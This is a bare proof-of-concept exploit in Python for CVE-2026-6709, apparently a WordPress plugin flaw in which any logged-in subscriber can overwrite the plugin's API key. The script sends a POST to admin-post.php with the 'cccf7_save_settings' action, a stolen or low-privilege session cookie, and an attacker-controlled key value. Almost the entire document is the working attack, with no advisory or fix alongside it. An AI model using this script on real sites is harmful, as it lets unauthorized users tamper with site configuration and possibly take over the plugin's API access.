CVE-2026-6709

import requests def exploit_poc(target_url, cookie_value): """ PoC for CVE-2026-6709 Demonstrates how an authenticated subscriber can overwrite the API key. """ # The endpoint vulnerable to missing authorization endpoint = target_url + "/wp-admin/admin-post.php" # Payload to overwrite the API key payload_data = { "action": "cccf7_save_settings", "cccf7_api_key": "ATTACKER_CONTROLLED_API_KEY_VALUE" } # Headers simulating a logged-in user (e.g., Subscriber role) headers = { "Cookie": f"wordpress_logged_in_xxx={cookie_value}", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(endpoint, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if API key was overwritten.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Example usage # exploit_poc("http://target-site.com", "valid_session_cookie")

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